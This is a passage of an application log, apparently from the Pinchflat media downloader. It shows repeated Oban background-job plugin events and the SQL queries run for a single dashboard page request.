{"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:00.633 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:55:27.656 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:57.658 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:00.634 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:56:27.660 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:57.662 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:00.635 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:57:27.665 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:57.667 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:00.636 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:58:27.670 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:57.672 [info] {"source":"oban","duration":1665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:00.638 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:59:27.675 [info] {"source":"oban","duration":1880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:57.677 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:00.640 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:00:27.679 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:57.682 [info] {"source":"oban","duration":1938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:00.641 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:01:27.685 [info] {"source":"oban","duration":1856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:57.686 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:00.642 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:02:27.687 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:57.688 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:00.644 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:03:27.690 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:57.690 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:00.645 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:04:27.692 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:57.694 [info] {"source":"oban","duration":2393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:00.647 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:05:27.695 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:57.696 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:00.648 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:06:27.698 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:57.699 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:00.649 [info] {"source":"oban","duration":127,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:07:27.700 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:57.701 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:00.650 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:08:27.701 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:57.702 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:00.651 [info] {"source":"oban","duration":209,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:09:27.703 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:57.704 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:00.652 [info] {"source":"oban","duration":114,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:10:27.705 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:57.706 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:00.653 [info] {"source":"oban","duration":153,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:11:27.707 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:57.708 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:00.654 [info] {"source":"oban","duration":151,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:12:27.709 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:57.711 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:00.656 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:13:27.713 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:29.288 [info] GET / 03:13:29.289 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 03:13:29.290 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1678.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:13:29.290 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1659.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 03:13:29.291 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1577.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 03:13:29.293 [debug] QUERY OK source="media_items" db=1.6ms idle=681.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:13:29.294 [debug] QUERY OK source="media_items" db=0.5ms idle=660.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:13:29.294 [debug] QUERY OK source="settings" db=0.1ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:13:29.294 [debug] QUERY OK source="settings" db=0.0ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:13:29.295 [debug] QUERY OK source="settings" db=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:13:29.295 [debug] QUERY OK source="tasks" db=0.2ms idle=1.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 03:13:29.296 [debug] QUERY OK source="media_items" db=0.4ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:13:29.296 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 03:13:29.297 [debug] QUERY OK source="sources" db=0.2ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [36, 31, 30] 03:13:29.301 [debug] QUERY OK source="media_items" db=2.5ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 03:13:29.302 [debug] QUERY OK source="media_items" db=1.4ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 03:13:29.303 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 03:13:29.304 [info] Sent 200 in 16ms 03:13:57.715 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:00.656 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:14:27.716 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:57.717 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:00.657 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:15:27.718 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:57.720 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:00.658 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:16:27.721 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:57.723 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:00.659 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:17:27.724 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:57.725 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:00.660 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:18:27.727 [info] {"source":"oban","duration":1904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:57.729 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:00.661 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:19:27.730 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:57.732 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:00.663 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:20:27.734 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:57.736 [info] {"source":"oban","duration":2068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:00.665 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:21:27.738 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:57.741 [info] {"source":"oban","duration":2052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:00.667 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:22:27.743 [info] {"source":"oban","duration":959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:57.745 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:00.668 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:23:27.747 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:57.750 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:00.670 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:24:27.752 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:57.754 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:00.671 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:25:27.757 [info] {"source":"oban","duration":2094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:57.760 [info] {"source":"oban","duration":2083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:00.673 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:26:27.763 [info] {"source":"oban","duration":2025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:57.765 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:00.675 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:27:27.768 [info] {"source":"oban","duration":1669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:57.771 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:00.677 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:28:27.773 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:57.775 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:00.679 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:29:27.777 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:57.779 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:00.681 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:30:27.781 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:57.784 [info] {"source":"oban","duration":1802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:00.682 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:31:27.787 [info] {"source":"oban","duration":1786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:57.790 [info] {"source":"oban","duration":1688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:00.684 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:32:27.793 [info] {"source":"oban","duration":1771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:57.796 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:00.685 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:33:27.799 [info] {"source":"oban","duration":1843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:57.802 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:00.686 [info] {"source":"oban","duration":160,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:34:27.805 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:57.807 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:00.687 [info] {"source":"oban","duration":131,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:35:27.810 [info] {"source":"oban","duration":1913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:57.813 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:00.688 [info] {"source":"oban","duration":128,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:36:27.816 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:57.819 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:00.689 [info] {"source":"oban","duration":142,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:37:27.821 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:57.824 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:00.690 [info] {"source":"oban","duration":155,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:38:27.827 [info] {"source":"oban","duration":1946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:57.830 [info] {"source":"oban","duration":1769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:00.691 [info] {"source":"oban","duration":134,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:39:27.832 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:57.835 [info] {"source":"oban","duration":2050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:00.692 [info] {"source":"oban","duration":131,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:40:27.838 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:57.841 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:00.693 [info] {"source":"oban","duration":132,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:41:27.844 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:57.846 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:00.694 [info] {"source":"oban","duration":145,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:42:27.849 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:57.852 [info] {"source":"oban","duration":1859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:00.695 [info] {"source":"oban","duration":187,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:43:27.855 [info] {"source":"oban","duration":1860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:57.858 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:00.696 [info] {"source":"oban","duration":150,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:44:27.861 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:57.864 [info] {"source":"oban","duration":2087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:00.697 [info] {"source":"oban","duration":129,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:45:27.867 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:57.869 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:00.698 [info] {"source":"oban","duration":214,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:46:27.870 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:57.873 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:00.700 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:47:27.875 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:57.877 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:00.701 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:48:27.879 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:57.882 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:00.701 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:49:27.885 [info] {"source":"oban","duration":1716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:57.886 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:00.702 [info] {"source":"oban","duration":130,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:50:27.889 [info] {"source":"oban","duration":1905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:57.891 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:00.703 [info] 